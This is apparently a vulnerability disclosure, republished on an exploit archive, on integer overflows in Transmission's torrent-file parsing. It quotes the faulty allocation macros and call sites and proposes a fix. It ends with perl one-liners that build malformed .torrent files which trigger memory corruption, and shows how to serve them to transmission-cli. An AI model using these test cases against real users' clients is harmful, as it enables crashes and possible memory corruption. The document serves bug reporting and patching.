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Transmission Torrent Parsing Integer Overflows Exploit
transmission: various integer overflow parsing torrent files I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new/tr_new0 allocation wrappers don't handle overflow. #define tr_new(struct_type, n_structs) \ ((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs)))) #define tr_new0(struct_type, n_structs) \ ((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs)))) #define tr_renew(struct_type, mem, n_structs) \ ((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs)))) Here is one example when parsing the files dictionary: static const char* parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length) { int64_t len; ... inf->isFolder = true; inf->fileCount = tr_variantListSize (files); inf->files = tr_new0 (tr_file, inf->fileCount); <-- Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this "ldededededede...e". Here are a few more: static const char* getannounce (tr_info * inf, tr_variant * meta) { ... for (i=0; i<numTiers; i++) n += tr_variantListSize (tr_variantListChild (tiers, i)); trackers = tr_new0 (tr_tracker_info, n); <-- static void geturllist (tr_info * inf, tr_variant * meta) { ... const int n = tr_variantListSize (urls); inf->webseedCount = 0; inf->webseeds = tr_new0 (char*, n); <-- static const char* tr_metainfoParseImpl (const tr_session * session, tr_info * inf, bool * hasInfoDict, size_t * infoDictLength, const tr_variant * meta_in) ... inf->pieceCount = len / SHA_DIGEST_LENGTH; inf->pieces = tr_new0 (tr_piece, inf->pieceCount); <-- Because these are macros, I'm not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this: #define tr_new(struct_type, n_structs) \ ((struct_type*)((SIZE_MAX / sizeof(struct_type)) > n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs))) They're getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better. Another bug, containerReserve() doesn't check for integer overflow or allocation failure: static void containerReserve (tr_variant * v, size_t count) { ... v->val.l.vals = tr_renew (tr_variant, v->val.l.vals, n); <--- v->val.l.alloc = n; ... } Another bug is that tr_sha1 uses signed integers for length, rather than size_t: bool tr_sha1 (uint8_t * hash, const void * data1, int data1_length, ...) This can cause memory corruption with very large torrents. Here are some simple testcase for 32bit systems: $ perl -e 'print "d4:infod4:name4:name12:piece lengthi1e5:filesl","d4:pathl4:filee6:lengthi1ee","de"x107374183,"e","6:pieces0:ee"' > overflow.torrent $ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl","l7:udp://0","0:"x134217728,"eee"' > overflow.torrent This would make a torrent that's a 100MB or so, but would compress really well over gzip Content-Encoding. Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can't open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead: $ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee","6:pieces2684354560:","A"x2684354560,"ee"' > test.torrent $ python -m SimpleHTTPServer 8080 & $ transmission-cli <a href="http://localhost:8080/test.torrent" title="" class="" rel="nofollow">http://localhost:8080/test.torrent</a> The transfer can be compressed to make it a manageable size, it's about 2G otherwise. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. # 0day.today [2024-12-28] #